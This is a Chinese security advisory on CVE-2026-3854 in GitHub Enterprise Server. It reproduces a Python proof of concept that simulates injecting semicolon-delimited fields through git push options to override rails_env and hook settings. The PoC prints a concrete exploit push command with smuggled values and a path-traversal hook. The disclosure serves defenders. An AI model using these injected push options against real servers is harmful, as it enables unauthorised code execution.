
0x00 前言
GitHub Enterprise Server是GitHub的自承载版本,专为有严格合规需求的企业打造。它可部署在企业本地数据中心或公有云,支持Hyper-V、KVM、ESXi等虚拟化环境及AWS、GCP、Azure等云服务,企业能通过防火墙、IAM等自定义安全措施,实现对数据和平台的高度管控。
该平台延续了GitHub.com的核心功能与工作流,开发人员可无缝协作。同时提供丰富的可选功能:GitHub Actions自动化CI/CD,GitHub Advanced Security扫描代码漏洞,GitHub Connect对接GitHub.com资源,GitHub Packages托管软件包。
0x01 漏洞描述
该漏洞源于babeld代理在处理git push选项时,未对分号(;)等特殊定界符进行有效转义,直接将其嵌入内部X-Stat协议头中。由于该协议采用“末尾写入获胜(Last-write-wins)”的语义,攻击者可注入恶意字段覆盖rails_env、custom_hooks_dir等关键安全配置。通过将环境篡改为非生产模式并重定向钩子目录,攻击者可诱导pre-receive hook执行受控的任意二进制文件,从而在 GitHub.com共享存储节点或GHES服务器上实现git用户权限的代码执行。 —— ——来源于网络
0x02 CVE编号
CVE-2026-3854
0x03 影响版本
3.14.0 <= GitHub Enterprise Server < 3.14.25
3.15.0 <= GitHub Enterprise Server < 3.15.20
3.16.0 <= GitHub Enterprise Server < 3.16.16
3.17.0 <= GitHub Enterprise Server < 3.17.13
3.18.0 <= GitHub Enterprise Server < 3.18.7
3.19.0 <= GitHub Enterprise Server < 3.19.40x04 漏洞详情
POC:
https://github.com/lysophavin18/CVE-2026-3854-PoC
#!/usr/bin/env python3
"""
CVE-2026-3854 PoC - GitHub RCE via X-Stat Push Option Injection
Educational / Authorized Security Research Only
This script is a purely demonstrative simulation of CVE-2026-3854.
It does NOT connect to any live system, execute any real commands,
or perform any actual exploitation. It exists solely to illustrate
the vulnerability mechanism for educational and authorized research.
Usage:
python3 exploi-git.py
"""
import json
SEPARATOR = "=" * 70
BANNER = """
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-3854 PoC - GitHub RCE via X-Stat Push Option Injection ║
║ Educational / Authorized Security Research Only ║
╚══════════════════════════════════════════════════════════════════════╝
"""
# ---------------------------------------------------------------------------
# Simulated server-side X-Stat header builder
# ---------------------------------------------------------------------------
# Baseline values a legitimate GitHub push would carry
BASELINE_FIELDS = {
"repo_id": "12345",
"user_id": "attacker",
"rails_env": "production",
"enterprise_mode": "false",
"custom_hooks_dir": "/data/github/custom-hooks",
"repo_pre_receive_hooks": "[]",
"push_option_count": "0",
}
def build_xstat_header(push_options: list[str]) -> str:
"""
Simulate how GitHub's internal Ruby code concatenates push options
into the X-Stat header using semicolons as field delimiters.
Vulnerable behaviour: push option values are inserted verbatim,
so a semicolon inside a value breaks out into a new field.
"""
parts = list(BASELINE_FIELDS.items())
for idx, value in enumerate(push_options):
# push_option_N=<value> — value is NOT sanitised (vulnerable path)
parts.append((f"push_option_{idx}", value))
return ";".join(f"{k}={v}" for k, v in parts)
def parse_xstat_header(header: str) -> dict[str, str]:
"""
Simulate the server-side parser that splits the X-Stat header on
semicolons and takes the *last* occurrence of each key (attacker wins).
"""
result: dict[str, str] = {}
for token in header.split(";"):
if "=" in token:
key, _, val = token.partition("=")
result[key.strip()] = val.strip()
return result
def sanitise_push_option(value: str) -> str:
"""Patched behaviour: percent-encode semicolons before insertion."""
return value.replace(";", "%3B")
# ---------------------------------------------------------------------------
# Demo helpers
# ---------------------------------------------------------------------------
def demo1_basic_injection() -> None:
"""DEMO 1 – Basic semicolon injection that overrides rails_env."""
print(SEPARATOR)
print("DEMO 1: Basic Semicolon Injection -> Sandbox Bypass")
print(SEPARATOR)
print()
malicious_option = "normal_value;rails_env=staging"
print(f"[ATTACKER] Push option: {malicious_option}")
print("[ATTACKER] Semicolon breaks out of push_option_0 field")
print()
header = build_xstat_header([malicious_option])
abbreviated = header[:120] + "..."
print(f"[VULNERABLE] X-Stat header (abbreviated): {abbreviated}")
print()
parsed = parse_xstat_header(header)
rails_env = parsed.get("rails_env", "production")
print(f"[RESULT] rails_env = '{rails_env}'")
if rails_env != "production":
print(f"[IMPACT] Sandbox BYPASSED! Changed from 'production' to '{rails_env}'")
else:
print("[IMPACT] Injection had no effect — rails_env unchanged")
print()
def demo2_rce_chain() -> None:
"""DEMO 2 – Full 3-step conceptual RCE chain (no real execution)."""
print(SEPARATOR)
print("DEMO 2: Full 3-Step RCE Chain")
print(SEPARATOR)
print()
rce_options = [
'step1;rails_env=staging',
'step2;custom_hooks_dir=/tmp/evilhooks',
'step3;repo_pre_receive_hooks=[{"script": "../../../usr/bin/id"}]',
'step4;enterprise_mode=true',
]
print("[ATTACKER] Crafted push options:")
for opt in rce_options:
print(f' -o "{opt}"')
print()
header = build_xstat_header(rce_options)
parsed = parse_xstat_header(header)
security_fields = [
"rails_env",
"custom_hooks_dir",
"repo_pre_receive_hooks",
"enterprise_mode",
]
print("[RESULT] Security-critical parsed fields:")
for field in security_fields:
value = parsed.get(field, "<not set>")
print(f" {field:<22} = {value}")
print()
hooks_dir = parsed.get("custom_hooks_dir", "/data/github/custom-hooks")
hook_script_raw = parsed.get(
"repo_pre_receive_hooks", '[{"script": "../../../usr/bin/id"}]'
)
# Robustly extract the script path from the hook JSON list
try:
hooks_list = json.loads(hook_script_raw)
hook_script = hooks_list[0].get("script", "unknown") if hooks_list else "unknown"
except (json.JSONDecodeError, IndexError, KeyError, TypeError):
hook_script = "unknown"
resolved = hooks_dir.rstrip("/") + "/" + hook_script
print("[EXECUTION FLOW]")
print(f" 1. rails_env='staging' -> UNSANDBOXED mode")
print(f" 2. custom_hooks_dir='{hooks_dir}' (attacker-controlled)")
print(f" 3. Hook resolves to: {resolved}")
print(f" 4. -> Executes /usr/bin/id as git user WITHOUT SANDBOX")
print(f" 5. RCE ACHIEVED")
print()
def demo3_patched() -> None:
"""DEMO 3 – Shows how the patch (semicolon sanitisation) neutralises the attack."""
print(SEPARATOR)
print("DEMO 3: Patched Behavior (Semicolon Sanitization)")
print(SEPARATOR)
print()
original = "normal_value;rails_env=staging"
sanitised = sanitise_push_option(original)
print(f"[PATCHED] Original: {original}")
print(f"[PATCHED] Sanitized: {sanitised}")
print()
# Build header with the sanitised value
header = build_xstat_header([sanitised])
parsed = parse_xstat_header(header)
rails_env = parsed.get("rails_env", "production")
print(f"[PATCHED] rails_env = '{rails_env}'")
if rails_env == "production":
print("[PATCHED] Injection NEUTRALIZED - sandbox remains active")
else:
print(f"[PATCHED] Unexpected result: rails_env = '{rails_env}'")
print()
def show_exploit_command() -> None:
"""Display the conceptual git push command used during authorized testing."""
print(SEPARATOR)
print("EXPLOIT COMMAND (Authorized Testing Only)")
print(SEPARATOR)
print()
print(
"git push "
'-o ;rails_env=staging '
'-o ;custom_hooks_dir=/tmp '
'-o \';repo_pre_receive_hooks=[{"script":"../../../usr/bin/id"}]\' '
"-o ;enterprise_mode=true "
"git@github.com:attacker/repo.git"
)
print()
print("Each -o injects fields into X-Stat via semicolon delimiter abuse.")
print()
def show_references() -> None:
"""Print external references for this CVE."""
print(SEPARATOR)
print("REFERENCES")
print(SEPARATOR)
print()
print(" [1] Wiz Research: https://www.wiz.io/blog/github-rce-vulnerability-cve-2026-3854")
print(" [2] GitHub Blog: https://github.blog/security/securing-the-git-push-pipeline/")
print(" [3] NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-3854")
print()
# ---------------------------------------------------------------------------
# Entry point
# ---------------------------------------------------------------------------
def main() -> None:
print(BANNER)
demo1_basic_injection()
demo2_rce_chain()
demo3_patched()
show_exploit_command()
show_references()
if __name__ == "__main__":
main()
0x05 参考链接
https://github.blog/security/securing-the-git-push-pipeline-responding-to-a-critical-remote-code-execution-vulnerability/
https://github.com/advisories/ghsa-64fw-jx9p-5j24
推荐阅读:
CVE-2024-4985|GitHub Enterprise Server身份验证绕过漏洞(POC)
N/A|Microsoft Defender本地权限提升漏洞(POC)
CVE-2026-34486|Apache Tomcat远程代码执行漏洞(POC)
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持

!!!